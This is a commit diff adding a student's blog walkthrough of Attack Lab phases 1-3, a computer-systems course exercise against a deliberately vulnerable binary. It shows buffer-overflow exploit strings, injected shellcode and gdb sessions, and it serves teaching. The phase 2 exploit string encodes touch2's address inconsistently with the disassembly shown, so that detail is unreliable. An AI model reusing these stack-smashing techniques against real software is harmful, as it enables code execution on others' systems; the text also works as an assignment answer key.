diff options
author | Navan Chauhan <navanchauhan@gmail.com> | 2023-10-17 14:53:15 -0600 |
---|---|---|
committer | Navan Chauhan <navanchauhan@gmail.com> | 2023-10-17 14:53:15 -0600 |
commit | 97188a509f922d4d70733c903558992488358f62 (patch) | |
tree | 7bb5b3b21f5ddf459e9ecc8c7395cd87fead05cf /Content/posts/2023-10-05-attack-lab.md | |
parent | 29a55c75b706c10f9574cccd9a99da055360ad3e (diff) |
update template
Diffstat (limited to 'Content/posts/2023-10-05-attack-lab.md')
-rw-r--r-- | Content/posts/2023-10-05-attack-lab.md | 297 |
1 files changed, 295 insertions, 2 deletions
diff --git a/Content/posts/2023-10-05-attack-lab.md b/Content/posts/2023-10-05-attack-lab.md index cfd7bd8..1f87aca 100644 --- a/Content/posts/2023-10-05-attack-lab.md +++ b/Content/posts/2023-10-05-attack-lab.md @@ -1,8 +1,8 @@ --- date: 2023-10-05 20:01 -description: Walkthrough of Attack Lab for CSCI 2400 Computer Systems +description: Walkthrough of Attack Lab Phases 1-3 for CSCI 2400 Computer Systems tags: gdb, reverse-engineering, c++, csci2400, assembly -draft: true +draft: false --- # Attack Lab @@ -20,3 +20,296 @@ Again, I like using objdump to disassemble the code. ## Phase 1 From the instructions, we know that our task is to get `CTARGET` to execute the code for `touch1` when `getbuf` executes its return statement, rather than returning to `test` + +Let us try to look into the `getbuf` from our disassembled code. + +``` +0000000000402608 <getbuf>: + 402608: 48 83 ec 18 sub $0x18,%rsp + 40260c: 48 89 e7 mov %rsp,%rdi + 40260f: e8 95 02 00 00 call 4028a9 <Gets> + 402614: b8 01 00 00 00 mov $0x1,%eax + 402619: 48 83 c4 18 add $0x18,%rsp + 40261d: c3 +``` + +``` +402608: 48 83 ec 18 sub $0x18,%rsp +``` + +We can see that `0x18` (hex) or `24` (decimal) bytes of buffer is allocated to `getbuf` (Since, 24 bytes are being subtracted from the stack pointer). + + +Now, since we know the buffer size we can try passing the address of the touch1 function. + +``` +jxxxan@jupyter-xxxxxx8:~/lab3-attacklab-xxxxxxxxuhan/target66$ cat dis.txt | grep touch1 +000000000040261e <touch1>: +``` + +We were told in our recitation that our system was little-endian (so the bytes will be in the reverse order). Otherwise, we can use python to check: + +``` +jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ python -c 'import sys; print(sys.byteorder)' +little +``` + +We have our padding size and the function we need to call, we can write it in `ctarget.l1.txt` + +``` +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +1e 26 40 00 00 00 00 00 +``` + +``` +jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l1.txt | ./ctarget +Cookie: 0x3e8dee8f +Type string:Touch1!: You called touch1() +Valid solution for level 1 with target ctarget +PASS: Sent exploit string to server to be validated. +NICE JOB! +``` + +## Phase 2 + +> Phase 2 involves injecting a small amount of code as part of your exploit string. + +> Within the file ctarget there is code for a function touch2 having the following C representation: + +```c +void touch2(unsigned val) +{ + vlevel = 2; + if (val == cookie) { + printf("Touch2!: You called touch2(0x%.8x)\n", val); + validate(2); + } else { + printf("Misfire: You called touch2(0x%.8x)\n", val); + fail(2); + } + exit(0); +} +``` + +> Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case, +however, you must make it appear to touch2 as if you have passed your cookie as its argument. + +> Recall that the first argument to a function is passed in register %rdi + +This hint tells us that we need to store the cookie in the rdi register + +``` +movq $0x3e8dee8f,%rdi +retq +``` + +To get the byte representation, we need to compile the code and then disassemble it. + +``` +jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gcc -c phase2.s && objdump -d phase2.o +phase2.s: Assembler messages: +phase2.s: Warning: end of file not at end of a line; newline inserted + +phase2.o: file format elf64-x86-64 + + +Disassembly of section .text: + +0000000000000000 <.text>: + 0: 48 c7 c7 8f ee 8d 3e mov $0x3e8dee8f,%rdi + 7: c3 ret +``` + +Thus, the byte representation for our asm code is `48 c7 c7 8f ee 8d 3e c3` + +We also need to figure out the address to the `%rsp` register. Again, looking at the `getbuf` code + +``` +0000000000402608 <getbuf>: + 402608: 48 83 ec 18 sub $0x18,%rsp + 40260c: 48 89 e7 mov %rsp,%rdi + 40260f: e8 95 02 00 00 call 4028a9 <Gets> + 402614: b8 01 00 00 00 mov $0x1,%eax + 402619: 48 83 c4 18 add $0x18,%rsp + 40261d: c3 ret +``` + +We need to find the address of `%rsp` after calling `<Gets>` and sending a really long string. + +What we are going to do now is to add a break on `getbuf`, and run the program just after it asks us to enter a string and then find the address of `%rsp` + +``` +jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gdb ./ctarget +GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1 +Copyright (C) 2022 Free Software Foundation, Inc. +License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> +This is free software: you are free to change and redistribute it. +There is NO WARRANTY, to the extent permitted by law. +Type "show copying" and "show warranty" for details. +This GDB was configured as "x86_64-linux-gnu". +Type "show configuration" for configuration details. +For bug reporting instructions, please see: +<https://www.gnu.org/software/gdb/bugs/>. +Find the GDB manual and other documentation resources online at: + <http://www.gnu.org/software/gdb/documentation/>. + +For help, type "help". +Type "apropos word" to search for commands related to "word"... +Reading symbols from ./ctarget... +(gdb) b getbuf +Breakpoint 1 at 0x402608: file buf.c, line 12. +(gdb) run +Starting program: /home/jxxxxn/lab3-attacklab-naxxxan/target66/ctarget +Cookie: 0x3e8dee8f + +Breakpoint 1, getbuf () at buf.c:12 +12 buf.c: No such file or directory. +(gdb) disas +Dump of assembler code for function getbuf: +=> 0x0000000000402608 <+0>: sub $0x18,%rsp + 0x000000000040260c <+4>: mov %rsp,%rdi + 0x000000000040260f <+7>: call 0x4028a9 <Gets> + 0x0000000000402614 <+12>: mov $0x1,%eax + 0x0000000000402619 <+17>: add $0x18,%rsp + 0x000000000040261d <+21>: ret +End of assembler dump. +(gdb) until *0x402614 +Type string:fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470 trq378t4378gwe +getbuf () at buf.c:15 +15 in buf.c +(gdb) x/s $rsp +0x55621b40: "fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470 trq378t4378gwe" +(gdb) +``` + +So, the address for `%rsp` is `0x55621b40` + +Thus, we can set our `ctarget.l2.txt` as: + +``` +byte representation of ASM code +padding +address of %rsp +address of touch2 function +``` + +To get the address of `touch2` we can run: + +``` +jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ cat dis.txt | grep touch2 +000000000040264e <touch2>: + 402666: 74 2a je 402692 <touch2+0x44> + 4026b2: eb d4 jmp 402688 <touch2+0x3a> +``` + +``` +48 c7 c7 8f ee 8d 3e c3 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +40 1b 62 55 00 00 00 00 +4e 26 b2 00 00 00 00 00 +``` + +Do note that our required padding is 24 bytes, we are only adding 16 bytes because our asm code is 8 bytes on its own. Our goal is to have a total of 24 bytes in padding, not 8 + 24 bytes, + +``` +joxxxx@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l2.txt | ./ctarget +Cookie: 0x3e8dee8f +Type string:Touch2!: You called touch2(0x3e8dee8f) +Valid solution for level 2 with target ctarget +PASS: Sent exploit string to server to be validated. +NICE JOB! +``` + +## Phase 3 + +> Phase 3 also involves a code injection attack, but passing a string as argument. + +> You will need to include a string representation of your cookie in your exploit string. The string should +consist of the eight hexadecimal digits (ordered from most to least significant) without a leading “0x.” + +> Your injected code should set register %rdi to the address of this string + +> When functions hexmatch and strncmp are called, they push data onto the stack, overwriting +portions of memory that held the buffer used by getbuf. As a result, you will need to be careful +where you place the string representation of your cookie. + +Because `hexmatch` and `strncmp` might overwrite the buffer allocated for `getbuf` we will try to store the data after the function `touch3` itself. + +=> The total bytes before the cookie = Buffer (0x18 in our case) + Return Address of %rsp (8 bytes) + Touch 3 (8 Bytes) = 0x18 + 8 + 8 = 28 (hex) + +We can use our address for `%rsp` from phase 2, and simply add `0x28` to it. + +=> `0x55621b40` + `0x28` = `0x55621B68` + +Again, let us get the binary representation for the ASM code: + +```asm +movq $0x55621B68, %rdi +retq +``` + +``` +jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gcc -c phase3.s && objdump -d phase3.o +phase3.s: Assembler messages: +phase3.s: Warning: end of file not at end of a line; newline inserted + +phase3.o: file format elf64-x86-64 + + +Disassembly of section .text: + +0000000000000000 <.text>: + 0: 48 c7 c7 68 1b 62 55 mov $0x55621b68,%rdi + 7: c3 ret +``` + +Thus, our answer is going to be in the form: + +``` +asm code +padding +return address / %rsp +touch3 address +cookie string +``` + +To quickly get the address for `touch3` + +``` +jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ cat dis.txt | grep touch3 +0000000000402763 <touch3>: + 402781: 74 2d je 4027b0 <touch3+0x4d> + 4027d3: eb d1 jmp 4027a6 <touch3+0x43> +``` + +We need to use an ASCII to Hex converter to convert the cookie string into hex. + +``` +jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ echo -n 3e8dee8f | xxd -p +3365386465653866 +``` + +Thus, our cookie string representation is `33 65 38 64 65 65 38 66` + +``` +48 c7 c7 68 1B 62 55 c3 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +40 1b 62 55 00 00 00 00 +63 27 40 00 00 00 00 00 +33 65 38 64 65 65 38 66 +``` + +``` +jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l3.txt | ./ctarget +Cookie: 0x3e8dee8f +Type string:Touch3!: You called touch3("3e8dee8f") +Valid solution for level 3 with target ctarget +PASS: Sent exploit string to server to be validated. +NICE JOB! +``` + +Phases 1-3 Complete. |